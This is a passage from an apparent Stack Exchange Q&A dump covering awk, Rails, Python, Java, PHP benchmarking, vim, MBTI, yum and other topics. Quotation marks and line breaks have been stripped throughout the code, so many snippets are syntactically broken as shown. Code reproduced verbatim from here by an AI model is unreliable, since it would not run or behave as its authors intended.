, Me , 1 , 596 , Themselves , 1 , 527 , Myself , 1 , 656 , Mine , 1 , 551 , Myself , 1 , 624 , Themselves , 1 , 570 , Me , 1 , 514 ,Block 1 Time,: 8856 ,Block 2: , Failing , 1 , 1835 , Happy , 1 , 1118 , Sad , 1 , 673 , Succeeding , 1 , 690 , Improving , 1 , 795 , Succeeding , 1 , 602 , Worse , 1 , 586 , Succeeding , 1 , 553 , Improving , 1 , 619 , Disimproving , 1 , 659 , Succeeding , 1 , 596 , Failing , 1 , 539 ,Block 2 Time,: 9265 ,Block 3: , Succeeding , 1 , 2881 , Disimproving , 1 , 1072 , Mine , 1 , 1120 , Me , 1 , 627 , Happy , 1 , 669 , Theirs , 1 , 1539 , Worse , 1 , 841 , Me , 1 , 862 , Sad , 1 , 1370 , Succeeding , 1 , 1115 , Worse , 1 , 855 , Theirs , 1 , 792 , Them , 1 , 627 , Better , 1 , 735 , Me , 1 , 626 , Happy , 1 , 622 , Succeeding , 1 , 616 , Mine , 1 , 646 , Them , 1 , 599 , Disimproving , 1 , 607 , Better , 1 , 799 , Myself , 1 , 1408 , Me , 1 , 463 , Better , 1 , 839 , Failing , 1 , 602 , Mine , 1 , 633 , Better , 1 , 525 , Sad , 1 , 573 , Worse , 1 , 770 , Me , 1 , 508 , Theirs , 1 , 613 , Disimproving , 1 , 649 , Improving , 1 , 701 , Theirs , 1 , 590 , Disimproving , 1 , 716 , Better , 1 , 714 ,Block 3 Time,: 29924 ,Block 4: , Them , 1 , 1659 , Myself , 1 , 1036 , Themselves , 1 , 595 , Me , 1 , 509 , Myself , 1 , 648 , Themselves , 1 , 542 , Myself , 1 , 536 , Mine , 1 , 537 , Theirs , 1 , 615 , Mine , 1 , 520 , Me , 1 , 596 , Mine , 1 , 471 ,Block 4 Time,: 8264 ,Block 5: , Mine , 1 , 1527 , Myself , 1 , 1235 , Disimproving , 0 , 2001 , Theirs , 1 , 981 , Succeeding , 1 , 1994 , Happy , 1 , 1454 , Failing , 1 , 1941 , Theirs , 1 , 1151 , Failing , 0 , 1358 , Me , 1 , 790 , Failing , 1 , 717 , Mine , 1 , 585 , Myself , 1 , 821 , Themselves , 1 , 793 , Disimproving , 1 , 965 , Succeeding , 1 , 727 , Worse , 1 , 961 , Theirs , 1 , 1259 , Mine , 1 , 578 , Better , 1 , 1112 , Mine , 1 , 1207 , Happy , 1 , 843 , Worse , 1 , 1064 , Failing , 1 , 699 , Happy , 1 , 700 , Myself , 1 , 516 , Them , 1 , 794 , Me , 1 , 526 , Sad , 1 , 1118 , Improving , 1 , 826 , Mine , 1 , 540 , Succeeding , 1 , 952 , Myself , 1 , 536 , Themselves , 1 , 851 , Improving , 1 , 865 , Mine , 1 , 582 ,Block 5 Time,: 35569 As you can see, each of the blocks take up multiple lines. I need them to take up one line in the following formatParticipant Date Time Block Word1 Correct1 Time1.....Word36 Correct36 Time362456 1 Happy 1 1200 sad 0 1500...1234 5 sad 0 1100 happy 1 900The issue is that blocks 3 &5 have 36 stimuli while blocks 1,2 &4 have 12. I need the participant, datetime and block time in each row also.Here is the script that got the data into the form you see here, but it doesn't give me each block on one line only which is what i need. Your help would be greatly appreciated. BEGIN{ FS=\\\\; RS=#; OFS=,; ORS=\\n;}{ for(i=1;i<=NF;i++) {printf %-10s, $i; printf ,;} }I'm using gawk version 3.1.6 on Ubuntu 10.04. " , "title": "Need help processing a text file with awk to conform to CSV flat file format" , "tags": "linux;awk;csv" , "accepted_answer": "If I understand correctly, your problem is coping with input where each record comes in multiple lines, and you don't detect the end of a record but rather the beginning of a new record: a new record begins whenever a line does not begin with a comma.Here's some awk boilerplate you can use to pre-process the input into records.function process (record) { RS = *, *; /*gawk allows RS to be a regexp; some implementations would require setting RS=, and manually trimming spaces*/ $0 = record; /*automatically sets $1, $2, ..., and NF*/ record = ; /*your code goes here*/}{ if (/^ *,/) {record = record $0} else {process(record); record=$0} }END { if (record != ) {process(record)} }'" } { "id": "_unix.44249" , "question": "What's the best way to check if two directories belong to the same filesystem?Acceptable answers: bash, python, C/C++." , "title": "How to check if two directories or files belong to same filesystem" , "tags": "filesystems;files" , "accepted_answer": "It can be done by comparing device numbers.In a shell script on Linux it can be done with stat:stat -c %d /path # returns the decimal device number In python:os.lstat('/path...').st_devoros.stat('/path...').st_dev" } { "id": "_cs.72470" , "question": "TL;DR:There're lecture notes about a very simple reduction from maximum flow with edge demands problem to the maximum flow problem. But I can't get the new capacities at the picture:E.g., look at the diagonal: 15 - 0 = 14 (?). From my point of view there're a lot of off-by-one errors." , "title": "Maximum flow with edge demands: can't understand the example of transition to transformed graph in the lecture notes" , "tags": "graphs;network flow;max cut" } { "id": "_softwareengineering.294519" , "question": "I'm writing a Rails app which uses ActiveRecord ORM and a Postgres DB. I've got two attributes which are similar but are separate fields in the database. The assignment and saving of these is kinda complicated so I've put that side of things in their own method. The pseudo-code is as followsmyObject.attr_a = get_the_stuff_from( ref_one )myObject.attr_b = get_the_stuff_from( ref_two )myObject.assign_and_save( attr_a )myObject.assign_and_save( attr_b )Basically, how can I tell the assign_and_save method to distinguish between attr_a and attr_b so that they get saved into their respective columns in the database. I was thinking of using an additional flag for the method signature, but I think that stunts its re-usability.What would you recommend? " , "title": "Pattern for passing in a field as a parameter" , "tags": "design patterns;object oriented;patterns and practices" , "accepted_answer": "Given that you're using Rails, the most common way to achieve what you're trying to do is to use a before_save or before_create ActiveRecord callback.class Model < AR::Base before_save :normalize_attributes private def normalize_attributes # Whatever logic you need endendmy_object.attr_a = get_the_stuff_from(ref_one)my_object.attr_b = get_the_stuff_from(ref_two)my_object.saveDepending on your logic, maybe get_the_stuff_from is better located in the model itself, so you might prefer something like:class Model < AR::Base def set_attributes(stuff_for_a: nil, stuff_for_b: nil) # Something like, depending on your logic: self.a ||= get_the_stuff_from(stuff_for_a) self.b ||= get_the_stuff_from(stuff_for_b) end private def get_the_stuff_from(ref) # Whatever logic you need endend# Eithermy_object.set_attributes(stuff_for_a: ref_one)my_object.set_attributes(stuff_for_b: ref_two)# Ormy_object.set_attributes(stuff_for_a: ref_one, stuff_for_b: ref_two)my_object.saveBut I don't know enough of your logic to say if the ||= is enough, but hopefully this will help." } { "id": "_softwareengineering.325743" , "question": "Let's say I have a class MyClass ... which has a data member xclass MyClass1 : def __init__(self) : self.x = 1Also a method which does something with xShould I pass self.x as a parameter?class MyClass2 : def __init__(self) : self.x = 1 def multiple_of_x(self, x) : return x * 2Or just use self.x within the method?class MyClass3 : def __init__(self) : self.x = 1 def multiple_of_x(self) : return self.x * 2I'm asking which is the more correct approach to object oriented programming?" , "title": "Object Oriented Python methods and their parameters" , "tags": "object oriented;python;class design;methods" , "accepted_answer": "An object is a bundle of state and behavior. The behavior (methods) inherently defaults to having access to the object's state (attributes). As such, it should use that whenever it can.Think about it this way. If you had a method that needed four or five different pieces of data from the object to return a result, what would happen in each of your cases? In the first case, you'd be passing in those four or five things, every time. And you'd have to get that information from the object itself, resulting in a call like this:myobj.myfunction(myobj.w, myobj.x, myobj.y, myobj.z)The second approach would give you this:myobj.myfunction()Both give you the same result. The first has a bit more flexibility in case you ever want to pass in something that isn't part of the object. But if that's the case, why would you need the state of the object in the first place?" } { "id": "_unix.128561" , "question": "Unfortunately the infrastructure I work in has static root passwords that are very rarely refreshed. So people leaving the company will have our root passwords and it can potentially be leaked to others inside the organization.So with that problem stated, what is the best method of executing a password refresh policy on linux/unix platforms?If it's the modification of the sudoers files on each host and disabling root passwords, how do you manage these sudoers files and keep everything up to date and consistent?If it's just using root keys, what can be done to protect/refresh these keys on a regular basis?Basically, how are others using tools to perform regular refreshes to ensure security?" , "title": "Root Password Policy and Refresh" , "tags": "linux;sudo;root;password" } { "id": "_codereview.106112" , "question": "I have this tiny library for implementing simple command line languages. It is not flexible enough for handling actual programming languages, but hopefully it may help implementing simpler REPL's faster/cleaner.CommandParser.java:package net.coderodde.commandparser;import java.util.ArrayList;import java.util.Collections;import java.util.Comparator;import java.util.List;import java.util.Objects;/** * This class implements a command parser. * * @author Rodion rodde Efremov * @version 1.6 (Sep 30, 2015) */public class CommandParser { private final List<CommandDescriptor> commandDescriptorList = new ArrayList<>(); private boolean isSorted = true; public void add(CommandDescriptor commandDescriptor) { Objects.requireNonNull(commandDescriptor, The input command descriptor is null.); if (commandDescriptor.size() == 0) { return; } commandDescriptorList.add(commandDescriptor); isSorted = false; } public void process(String command) { if (!isSorted) { Collections.sort(commandDescriptorList, comparator); isSorted = true; } for (CommandDescriptor descriptor : commandDescriptorList) { if (descriptor.parse(command)) { return; } } } private static final class CommandDescriptorComparator implements Comparator<CommandDescriptor> { @Override public int compare(CommandDescriptor o1, CommandDescriptor o2) { CommandToken token1 = o1.getToken(0); CommandToken token2 = o2.getToken(0); if (token1.getTokenType() == CommandToken.TokenType.IDENTIFIER) { return 1; } else if (token2.getTokenType() == CommandToken.TokenType.IDENTIFIER) { return -1; } else { return 0; } } } private static final CommandDescriptorComparator comparator = new CommandDescriptorComparator();}CommandDescriptor.java:package net.coderodde.commandparser;import java.util.ArrayList;import java.util.List;import java.util.Objects;/** * This class implements a command descriptor. * * @author Rodion rodde Descriptor * @version 1.6 (Sep 30, 2015) */public class CommandDescriptor { private final List<CommandToken> commandTokenList = new ArrayList<>(); private final CommandAction commandActionOnMatch; public CommandDescriptor(CommandAction commandActionOnMatch) { this.commandActionOnMatch = commandActionOnMatch; } public void addCommandToken(CommandToken token) { Objects.requireNonNull(token, The input token is null.); commandTokenList.add(token); } public int size() { return commandTokenList.size(); } CommandToken getToken(int index) { return commandTokenList.get(index); } public boolean parse(String command) { String[] parts = command.trim().split(\\\\s+); if (parts.length < commandTokenList.size()) { return false; } for (int i = 0; i < commandTokenList.size(); ++i) { CommandToken token = commandTokenList.get(i); if (!token.matches(parts[i])) { return false; } } // We have a match. if (commandActionOnMatch != null) { commandActionOnMatch.act(parts); } return true; }}CommandToken.java:package net.coderodde.commandparser;import java.util.Objects;/** * This class implements a command token which may be a keyword, identifier or * value. * * @author Rodion rodde Efremov * @version 1.6 (Sep 30, 2015) */public class CommandToken { public enum TokenType { KEYWORD, IDENTIFIER, VALUE_INT, VALUE_LONG, VALUE_FLOAT, VALUE_DOUBLE } private final TokenType tokenType; private final String datum; private final IdentifierValidator identifierValidator; public CommandToken(TokenType tokenType, String datum, IdentifierValidator identifierValidator) { Objects.requireNonNull(tokenType, Input token type is null.); if (tokenType == TokenType.KEYWORD && datum == null) { throw new IllegalArgumentException(A keyword string is null for + a keyword token.); } if (tokenType == TokenType.IDENTIFIER && identifierValidator == null) { throw new IllegalArgumentException( A identifier validator is null for an identifier token.); } this.tokenType = tokenType; this.datum = datum; this.identifierValidator = identifierValidator; } TokenType getTokenType() { return tokenType; } boolean matches(String s) { Objects.requireNonNull(s, The input word is null.); s = s.trim(); switch (tokenType) { case KEYWORD: { return datum.equals(s); } case IDENTIFIER: { return identifierValidator.isValidIdentifier(s); } case VALUE_INT: { try { Integer.parseInt(s); return true; } catch (NumberFormatException ex) { return false; } } case VALUE_LONG: { try { Long.parseLong(s); return true; } catch (NumberFormatException ex) { return false; } } case VALUE_FLOAT: { try { Float.parseFloat(s); return true; } catch (NumberFormatException ex) { return false; } } case VALUE_DOUBLE: { try { Double.parseDouble(s); return true; } catch (NumberFormatException ex) { return false; } } default: throw new IllegalStateException(Should not get here ever.); } }}CommandAction.java:package net.coderodde.commandparser;/** * This class specifies a functional interface for a routine that handles a * particular command. * * @author Rodion rodde Efremov * @version 1.6 (Sep 30, 2015) */@FunctionalInterfacepublic interface CommandAction { public void act(String[] tokens);}IdentifierValidator.java:package net.coderodde.commandparser;/** * * @author rodionefremov */@FunctionalInterfacepublic interface IdentifierValidator { public boolean isValidIdentifier(String s);}Demo.java:import java.util.HashMap;import java.util.Map;import java.util.Scanner;import net.coderodde.commandparser.CommandAction;import net.coderodde.commandparser.CommandDescriptor;import net.coderodde.commandparser.CommandParser;import net.coderodde.commandparser.CommandToken;import net.coderodde.commandparser.CommandToken.TokenType;import net.coderodde.commandparser.IdentifierValidator;public class Demo { private static final class MyNewAction implements CommandAction { private final Map<String, Double> variableMap; MyNewAction(Map<String, Double> variableMap) { this.variableMap = variableMap; } @Override public void act(String[] tokens) { String varName = tokens[1]; double value = Double.parseDouble(tokens[2]); variableMap.put(varName, value); } } private static final class MyDelAction implements CommandAction { private final Map<String, Double> variableMap; MyDelAction(Map<String, Double> variableMap) { this.variableMap = variableMap; } @Override public void act(String[] tokens) { String varName = tokens[1]; variableMap.remove(varName); } } private static final class MyPlusAction implements CommandAction { private final Map<String, Double> variableMap; MyPlusAction(Map<String, Double> variableMap) { this.variableMap = variableMap; } @Override public void act(String[] tokens) { String varName1 = tokens[0]; String varName2 = tokens[2]; if (!variableMap.containsKey(varName1)) { System.out.println(varName1 + : no such variable.); return; } if (!variableMap.containsKey(varName2)) { System.out.println(varName2 + : no such variable.); return; } System.out.println(variableMap.get(varName1) + variableMap.get(varName2)); } } private static final class MyShowAction implements CommandAction { private final Map<String, Double> variableMap; MyShowAction(Map<String, Double> variableMap) { this.variableMap = variableMap; } @Override public void act(String[] tokens) { String varName = tokens[0]; if (!variableMap.containsKey(varName)) { System.out.println(varName + : no such variable.); return; } System.out.println(variableMap.get(varName)); } } private static final IdentifierValidator myIdentifierValidator = new IdentifierValidator() { @Override public boolean isValidIdentifier(String s) { if (s.isEmpty()) { return false; } char[] chars = s.toCharArray(); if (!Character.isJavaIdentifierStart(chars[0])) { return false; } for (int i = 1; i < chars.length; ++i) { if (!Character.isJavaIdentifierPart(chars[i])) { return false; } } return true; } }; private static CommandParser buildCommandParser(Map<String, Double> map) { CommandParser parser = new CommandParser(); MyNewAction newAction = new MyNewAction(map); MyDelAction delAction = new MyDelAction(map); MyPlusAction plusAction = new MyPlusAction(map); MyShowAction showAction = new MyShowAction(map); //// Start creating command descriptors. // 'new' command. CommandDescriptor descriptorNew = new CommandDescriptor(newAction); descriptorNew.addCommandToken(new CommandToken(TokenType.KEYWORD, new, null)); descriptorNew.addCommandToken(new CommandToken(TokenType.IDENTIFIER, null, myIdentifierValidator)); descriptorNew.addCommandToken(new CommandToken(TokenType.VALUE_DOUBLE, null, null)); // 'del' command. CommandDescriptor descriptorDel = new CommandDescriptor(delAction); descriptorDel.addCommandToken(new CommandToken(TokenType.KEYWORD, del, null)); descriptorDel.addCommandToken(new CommandToken(TokenType.IDENTIFIER, null, myIdentifierValidator)); // '+' command. Adding two variable. If you want to add with constants // as well, just adde more descriptors with particular IDENTIFIER // tokens. CommandDescriptor descriptorPlus = new CommandDescriptor(plusAction); descriptorPlus.addCommandToken(new CommandToken(TokenType.IDENTIFIER, null, myIdentifierValidator)); descriptorPlus.addCommandToken(new CommandToken(TokenType.KEYWORD, +, null)); descriptorPlus.addCommandToken(new CommandToken(TokenType.IDENTIFIER, null, myIdentifierValidator)); // 'show' command. CommandDescriptor descriptorShow = new CommandDescriptor(showAction); descriptorShow.addCommandToken(new CommandToken(TokenType.IDENTIFIER, null, myIdentifierValidator)); parser.add(descriptorNew); parser.add(descriptorDel); parser.add(descriptorPlus); parser.add(descriptorShow); return parser; } public static void main(String[] args) { Map<String, Double> variableMap = new HashMap<>(); CommandParser parser = buildCommandParser(variableMap); Scanner scanner = new Scanner(System.in); while (true) { System.out.print(> ); String command = scanner.nextLine().trim(); if (command.equals(quit)) { break; } parser.process(command); } System.out.println(Bye!); }}A simple session might go this way:> new A 29> new B 26> A29.0> B26.0> B + A55.0> del B> B + AB: no such variable.> quitBye!" , "title": "Simple REPL command parser in Java" , "tags": "java;console;library" } { "id": "_webapps.22033" , "question": "When I do Ctrl+F in Google Docs, it shows the document find view. What I would like is the browser find view when in Google Chrome. What keys do I need to press to do a browser Ctrl+F in Google Docs in Google Chrome? Currently the web app will take control of that hotkey combination when opened." , "title": "Ctrl + F not working for browser page search when using Google Docs" , "tags": "google drive;search;google chrome" , "accepted_answer": "You are looking for a keyboard solution that will open the Chrome find bar even when Ctrl+F is redefined on the page.Judging by the keys you normally use, you are a Windows user. On Windows, press Alt+F, then press F. This solution uses menu shortcuts to open the find bar.Alternatively, you can mouse click the wrench button and mouse click Find...." } { "id": "_webmaster.95301" , "question": "I have some questions about German SEO. Some words we are optimizing have high monthly search, and good rank in Google.de, but these pages focusing on the keywords don't have any traffic. What's wrong with it?PS: The keywords'monthly searches data is from Google Adwords, and the rank is checked manually (with German IP). " , "title": "The German keywords with high monthly searches and good ranks in Google haven't any traffic" , "tags": "seo;google search;keywords;google adwords;traffic" } { "id": "_opensource.5878" , "question": "I have developed a software and I will publish it for free. But this software includes the following programs:The app is developed using Electron (License: MIT)Electron uses Chromium (It is combined with different licenses)NOTE: Once the application is packaged, automatically Electron and Chromium license files are included in the root folder.node.js (License)nginx (License) - Also there other license files (zlib, openssl etc) in the downloaded packagePHP (License: PHP License) - Also it includes other license files of other apps it includes.Fet Scheduler (License: GNU AGPL v3)Laravel (License: MIT)My files are Laravel Controllers, Models and Views. Once the app is started, first nginx and PHP start and then my PHP website is displayed in a chromium browser.All of these apps included in one setup file.What can be the correct license for this app? A single license file or multiple license files in their folders (PHP, nginx etc.)?" , "title": "What must be the license of a software including other apps with different licenses?" , "tags": "licensing;mit;relicensing;agpl 3.0" } { "id": "_unix.75981" , "question": "Red Hat docs say:To see which installed packages on your system have updates available, use the following command:yum check-updateWhat command must I run to view all available versions for a package installed on my system?Example: yum check-update tells me java6 update #43 is available, but what if I want update #40?" , "title": "Yum Check Available Package Updates" , "tags": "rhel;yum" , "accepted_answer": "It won't focus specifically on one package because it's using a regex to do the matching but I often use this:$ yum list available java\\*java-1.4.2-gcj-compat.i386 1.4.2.0-40jpp.115 installedjava-1.6.0-openjdk.i386 1:1.6.0.0-1.36.1.11.9.el5_9 installedAvailable Packagesjava-1.4.2-gcj-compat-devel.i386 1.4.2.0-40jpp.115 base java-1.4.2-gcj-compat-javadoc.i386 1.4.2.0-40jpp.115 base java-1.4.2-gcj-compat-src.i386 1.4.2.0-40jpp.115 base java-1.6.0-openjdk.i386 1:1.6.0.0-1.40.1.11.11.el5_9 updates java-1.6.0-openjdk-demo.i386 1:1.6.0.0-1.40.1.11.11.el5_9You can make it smarter by filtering the output using grep." } { "id": "_cs.54688" , "question": "When reading up on the UCT1 algorithm (I'm writing a Monte Carlo tree search), I'm having trouble with the formula.$$\\frac{w_i}{n_i} + \\sqrt{\\frac{\\ln t}{n_i}}$$Wikipedia, this guy, and this guy all say that $t$, or whatever else they use for that variable, equals the total number of simulations. What does this mean, exactly? The total number of simulations in the entire tree? The child nodes of that particular node? The sibling nodes? So, what is the $t$ is this equation? Thanks!" , "title": "UCT1 Algorithm: What does total number of simulations mean?" , "tags": "algorithms;trees;search trees;monte carlo" , "accepted_answer": "The UCT1 algorithm is actually an algorithm for a multi-armed bandit. There is a machine with several arms. At each round you pull one of the arms and get some reward. Your goal is to maximize your total reward. In this algorithm, $t$ is the round number $t = 1$ in the first round, $t = 2$ in the second round, and so on.When using UCT1 to perform Monte Carlo tree search, you treat each explored node as a multi-armed bandit. Monte Carlo tree search consists of several rounds of simulations: in each round a complete game is played out. The value of $t$ for a particular node is the number of rounds at which you passed through the node." } { "id": "_unix.382299" , "question": "I have a text file with list of .XML files.I need an absolute path of each XML in file.Tried following shell script but after lots of try,find command is not working inside do tag. #!/bin/sh NAMES=`cat list2.txt` for NAME in $NAMES; do echo $NAME find $PWD -type f -name $NAME doneHelp me to solve this." , "title": "Need absolute path for each line from a text file using shell script" , "tags": "find" } { "id": "_codereview.54139" , "question": "I've written a small script to benchmark our LAMP hosted servers that assess the performance based on three factors:Disk I/ODatabase I/O (mysql)Database I/O (sqlite)The logic is as follows:get the type of test performed using a querystring value.generate a big random string of 100KB.If (disk-i/o)write this line to a random file 500 times.else if (mysql i/o)insert this as record in a mysql table 500 times.else if (sqlite i/o)insert this as record in a sqlite table 500 times.Write back to response all variables such as the big string ($payload), time taken to write ($wtime), etc..The program is working fine, but the database i/o is taking way more time than the file i/o. In one test instance, file i/o took only 1.5 seconds, whilst db i/o took 43 seconds! Can you help me with streamlining this code?<?php//index.php$mysqlserver = 'localhost';$mysqlusername = 'test';$mysqlpassword='test';$mysqldatabase='test';$iterations=500;$payload=; //generate a random string of 108KB and a random filename$fname='';$rtime=0; //in milliseconds$wtime=0;$gentime=0;$type='';$db = null;$mysqli = null;if (isset($_REQUEST['type'])) $type=$_REQUEST['type'];//generate:$start = microtime(true);for($i=0;$i<108000;$i++) //generate a big string{ $n=rand(0,57)+65; $payload = $payload.chr($n);}$gentime=round((microtime(true) - $start)*1000);//write test:$start = microtime(true); if ($type=='sqlite') //sqlite test { $db = new SQLite3(benchmark.db); $db->exec('create table temp(t text)'); $db->exec(begin); $stmt = $db->prepare(insert into temp values(:id)); for($i=0;$i<$iterations;$i++) { $stmt->bindValue(':id', $payload, SQLITE3_TEXT); $stmt->execute(); //$db->exec(delete from temp); }; $db->exec(commit); } else if ($type=='mysql') //mysql test { $mysqli = new mysqli($mysqlserver, $mysqlusername, $mysqlpassword, $mysqldatabase); $mysqli->query('create table temp(t varchar(108000))'); $mysqli->query('begin transaction'); for($i=0;$i<$iterations;$i++) $mysqli->query(insert into temp values('{$payload}')); $mysqli->query('commit'); } else // Disk I/O { $fname = chr(rand(0,57)+65).chr(rand(0,57)+65).chr(rand(0,57)+65).chr(rand(0,57)+65).'.txt'; for($i=0;$i<$iterations;$i++) file_put_contents($fname,$payload); }$wtime=round((microtime(true) - $start)*1000);//read test:$start = microtime(true);$result = '';if ($type=='sqlite'){ for($i=0;$i<$iterations;$i++) { $result = $db->query(select t from temp limit 1); $result = $result->fetchArray()['t']; //$db->exec(delete from temp); }; //var_dump($result);}else if ($type=='mysql'){ $stmt = $mysqli->prepare('select t from temp limit 1'); if ($stmt) { for($i=0;$i<$iterations;$i++) { $stmt->execute(); $stmt->bind_result($result); $stmt->fetch(); }; }}else{ for($i=0;$i<$iterations;$i++) $result = file_get_contents($fname);}$rtime=round((microtime(true) - $start)*1000);//cleanup: if ($type=='sqlite') { $db->exec(drop table temp); $db->close();}else if ($type=='mysql') { $mysqli->query('drop table temp');}else { unlink($fname);}//return:$result = array( 'type'=>($type==''?'disk':$type), 'iterations'=>$iterations, 'generate_time'=>$gentime, 'write_time'=>$wtime, 'read_time'=>$rtime, 'server_software'=>$_SERVER[SERVER_SOFTWARE], 'payload'=>$result,);echo json_encode($result);" , "title": "Benchmarking our LAMP servers with this php script" , "tags": "php;mysql;linux;sqlite" , "accepted_answer": "To address the database code stuff. I don't know much about PHP, but I've heard from good sources don't concatenate SQL queriesThat said, I feel that part of the reason your database calls are slower is because you are just passing ad-hoc scripts to the RDBMS so it has to figure out the execution plan each time since it is not stored. Best practice for performance is to let the RDBMS do as much of the DB work as possible, as that is what it's good at. Let's suppose you ran this script just once in MySQL:DROP TEMPORARY TABLE IF EXISTS tt_mysqli_benchmark;CREATE TABLE tt_mysqli_benchmark ( t VARCHAR(108000) );-- Ad hoc code to create stored procedureCREATE PROCEDURE sp_mysqli_benchmark ( IN p_payload VARCHAR(108000) );BEGIN DELIMITER // DELETE FROM tt_mysqli_benchmark ; INSERT INTO tt_mysqli_benchmark (t) VALUES (p_payload);DELIMITER ;END;Then this section of your PHP script: else if ($type=='mysql') //mysql test { $mysqli = new mysqli($mysqlserver, $mysqlusername, $mysqlpassword, $mysqldatabase); $mysqli->query('create table temp(t varchar(108000))'); $mysqli->query('begin transaction'); for($i=0;$i<$iterations;$i++) $mysqli->query(insert into temp values('{$payload}')); $mysqli->query('commit'); }Would become: else if ($type=='mysql') //mysql test { $mysqli = new mysqli($mysqlserver, $mysqlusername, $mysqlpassword, $mysqldatabase); $mysqli->query(CALL sp_mysqli_benchmark('{$payload}')); }My PHP syntax may be slightly off. As you can see though, the PHP is cleaner, and only parameters are passed to the RDBMS, which makes it better able to optimize it, and lets it remember the execution plan for next time since the procedure is stored. I don't know as much about SQLite but it likely is very similar, if not simpler. " } { "id": "_vi.4606" , "question": "I try to do a substitution from a vim script and to operate over a captured group like so:let string = {b1} {b2} ({b3})echo substitute(string, {\\([^}]*\\)}, a, g)It doesn't match anything and the result doesn't change.If I remove the \\( \\):echo substitute(string, {[^}]*}, a, g)Then the whole {b1} is replaced with a, when I only want to replace the content of it: {a}.I have read that the pattern in the substitute command always work in magic mode. And that in the magic mode, the capture group is: \\( \\).Do you know the trick to make this work?Edit:Thanks to Christian Brabandt I was able to make it work (see his answer below). I had to change the \\( \\) to \\zs \\ze also." , "title": "Capture group in substitute function" , "tags": "vimscript;regular expression;substitute" , "accepted_answer": "In double-quote strings, the backslash has a special meaning. And will probably be skipped when parsing the quoted string. The details can be seen at :h expr-quote. You would have to double the slashes to make that work. Therefore, it is usually easier to read and maintain using single quoted strings. See :h literal-string as there the backslash won't be skipped." } { "id": "_cogsci.6189" , "question": "Since I lack of academic formation please be tolerant if I write something not correct.As you know the Myers-Briggs Type Indicator (MBTI) test is based on 4 personality dimensions (E/I, S/N, T/F, J/P) each of which can assume two possible values (I think the name is trait) for a total of 16 clusters. linkThere are gender differences with regard to a number of psychological variables (see for example gender roles and wikipedia Sex differences in human psychology). These differences may be due to education, culture, hormonal difference and so on.According to the stereotype, many women are more judging than men. Does any empirical evidence show that the prevalence of Judging is higher in women compared to men?" , "title": "Are woman more Judging than men in the MBTI?" , "tags": "personality;gender;mbti" , "accepted_answer": "The MBTI is widely used in applied contexts, such as for personnel selection. Nevertheless, it is hardly used in scientific research on personality because its theoretical basis questionable, because its validity is limited, and because its reliability is inferior to other established measures of personality (for a starting point to criticisms of the MBTI see McCrea & Costa, 1989 and this earlier post). For these reasons it is unlikely that you will find reliable data on gender differences in the MBTI.However, it has been shown that the MBTI traits overlap with those of the Big Five (the most widely adopted model of personality) and gender differences with regard to the Big Five have been studied extensively. The MBTI Judging dimension and its Perceiving counterpart overlap to a large extent with the Big Five trait conscientiousness (e.g., Furnham, 1996, McCrea & Costa, 1989). This is not surprising if you look at how Judging vs. Perceiving and conscientiousness are measured:Judging vs. Perceiving is measured by having people choose between sentence pairs such asI like to have things decided. vs. I like to stay open to respond to whatever happens.I like to make lists of things to do. vs. I appear to be loose and casual. I like to keep plans to a minimum.I like to get my work done before playing. vs. I like to approach work as play or mix work and play.I plan work to avoid rushing just before a deadline. vs. I am stimulated by an approaching deadline.Conscientiousness is measured by items such asI get chores done right away.I carry out my plans.I stick to my chosen path.Thus, there appears to be a clear semantic overlap between the two constructs.Are there gender differences with regard to conscientiousness? According to a large scale meta analysis (with data from more than 23.000 participants from 26 nations, Costa et al. 2001), 1. there are far more personality differences within the genders than between genders 2. for conscientiousness there doesn't seem to be a detectable gender difference.ReferencesCosta Jr., P., Terracciano, A., & McCrae, R. R. (2001). Gender differences in personality traits across cultures: Robust and surprising findings. Journal of Personality and Social Psychology, 81, 322331. doi:10.1037/0022-3514.81.2.322Furnham, A. (1996). The big five versus the big four: the relationship between the Myers-Briggs Type Indicator (MBTI) and NEO-PI five factor model of personality. Personality and Individual Differences, 21, 303307. doi:10.1016/0191-8869(96)00033-5McCrae, R. R., & Costa, P. T. (1989). Reinterpreting the Myers-Briggs Type Indicator From the Perspective of the Five-Factor Model of Personality. Journal of Personality, 57, 1740. doi:10.1111/j.1467-6494.1989.tb00759.x" } { "id": "_unix.326127" , "question": "I am running a small linux server at home, and I am writing a script to log the temperature of the CPU cores every 5 seconds, but I need timestamps for it to be useful. So far I have something that saves the output of the sensors command into a file, and I have a command that prints the date and time. I just need to figure out how to combine those two.sensors | grep ^Core* >> temps.log saves temps in temps.log in following format:Core 0: +39.0C (high = +76.0C, crit = +100.0C)Core 1: +40.0C (high = +76.0C, crit = +100.0C)and for the date I can either do date +%m/%d/%y-%H:%M:%S which returns mm/dd/yy-hh:mm:ssI googled around and saw someone suggesting the use of gawk but I have absolutely no idea how gawk works." , "title": "How do I append/prepend a timestamp to grep output?" , "tags": "grep;logs;timestamps;gawk;temperature" , "accepted_answer": "If I understand correctly, what you want to accomplish is to prepend the current date to every line that is output by grep. This is an easy task for a bash script:sensors | grep ^Core |\\( DATE=$(date +%m/%d/%y-%H:%M:%S) while read LINE do echo $DATE $LINE done) >> temps.log" } { "id": "_unix.108952" , "question": "We have recently purchased Gigabyte 990xe-ud3 motherboards. It came with Realtek LAN conroller. However with CentOS 6.5 it is not working, i.e. although it shows that it's connected with network, it is really not. On searching I found r8169 drivers to be likely a problem so I followed remedy given in foxhop.net article about Realtek NIC r8169 dropping packets in Ubuntu and Fedora.But it's still the same. Though Broadcom network card works perfectly.lspci output for Realtek card:4:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 06) Subsystem: Gigabyte Technology Co., Ltd Motherboard Flags: bus master, fast devsel, latency 0, IRQ 58 I/O ports at d000 [size=256] Memory at d2104000 (64-bit, prefetchable) [size=4K] Memory at d2100000 (64-bit, prefetchable) [size=16K] Capabilities: [40] Power Management version 3 Capabilities: [50] MSI: Enable+ Count=1/1 Maskable- 64bit+ Capabilities: [70] Express Endpoint, MSI 01 Capabilities: [b0] MSI-X: Enable- Count=4 Masked- Capabilities: [d0] Vital Product Data Capabilities: [100] Advanced Error Reporting Capabilities: [140] Virtual Channel Capabilities: [160] Device Serial Number 01-00-00-00-68-4c-e0-00 Kernel driver in use: r8169 Kernel modules: r8169lspci output for Broadcom card:Ethernet controller: Broadcom Corporation NetXtreme BCM5722 Gigabit Ethernet PCI Express Subsystem: Broadcom Corporation NetXtreme BCM5722 Gigabit Ethernet PCI Express Flags: bus master, fast devsel, latency 0, IRQ 59 Memory at fe300000 (64-bit, non-prefetchable) [size=64K] Expansion ROM at <ignored> [disabled] 